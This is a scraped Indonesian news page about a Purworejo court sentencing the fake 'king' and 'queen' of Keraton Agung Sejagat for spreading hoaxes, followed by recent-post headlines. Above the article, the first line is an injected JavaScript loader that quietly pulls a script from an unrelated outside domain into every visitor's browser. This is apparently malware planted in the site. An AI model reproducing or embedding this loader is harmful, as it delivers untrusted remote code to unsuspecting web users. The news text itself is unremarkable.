(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Raja Keraton Agung Sejagat Divonis 4 Tahun Bui, Ratu Abal-abal Lebih Ringan


KANALKALIMANTAN.COM – Majelis Hakim Pengadilan Purworejo menjatuhkan vonis empat tahun penjara terhadap Totok Santoso, terdakwa kasus berita hoaks yang menimbulkan keonaran di masyarakat karena mengklaim sebagai Raja Keraton Agung Sejagat.

Tak hanya itu, Fanni Aminadia (41) sang Ratu abal-abal turut vonis bersalah dengan kasus serupa dan dijatuhi vonis 1,5 tahun penjara.

Dikutip Suara.com -jaringan Kanalkalimantan.com- dari Solopos.com, vonis Raja dan Ratu palsu itu dilaksanakan secara online di tiga tempat berbeda, Selasa (15/9/2020). Sidang dipimpin hakim ketua, Sutarno, dari Pengadilan Negeri Purworejo.

Sementara terdakwa, Totok Santoso dan Fani Aminadia mengikuti persidangan dari Rutan Purworejo. Adapun jaksa penuntut umum bersama penasihat terdakwa berada di aula Kasman Singodimejo Kejaksaan Negeri Purworejo.

Berdasarkan hasil persidangan, hakim menyatakan terdakwa bersalah melakukan tindak pidana dan menyiarkan berita bohong soal Keraton Agung Sejagat.

“Mengadili, satu, menyatakan bahwa terdakwa satu Totok Santoso dan terdakwa dua Fanni Aminadia tersebut di atas terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana turut serta dengan menyiarkan berita atau pemberitahuan bohong dengan sengaja menerbitkan keonaran di kalangan rakyat sebagaimana dalam dakwaan primer JPU,” kata hakim ketua Sutarno saat membacakan putusan,

Berdasarkan keputusan sidang, maka raja dan ratu Keraton Agung Sejagat ini dijatuhi hukuman penjara selama empat tahun dan 1,5 tahun,” kata Hakim.

Putusan yang dijatuhkan lebih ringan daripada tuntutan JPU.

Sebelumnya JPU menuntut Totok 5 tahun penjara, sementara Fanni 3,5 tahun.

Dalam kasus ini, Toto dan Fanni didakwa dengan pasal 14 ayat 1 UU No 1 tahun 1946 tentang peraturan hukum pidana juncto pasal 55 ayat 1 ke 1 KUHP dan pasal 14 ayat 2 UU NO 1 tahun 1946 tentang peraturan hukum pidana juncto pasal 55 ayat 1 ke 1 KUHP. Sedangkan untuk dakwaan kedua yakni pasal 378 KUHP juncto pasal 55 ayat 1 ke 1 KUHP. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

2 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

4 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

6 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

14 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

15 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

16 jam ago

This website uses cookies.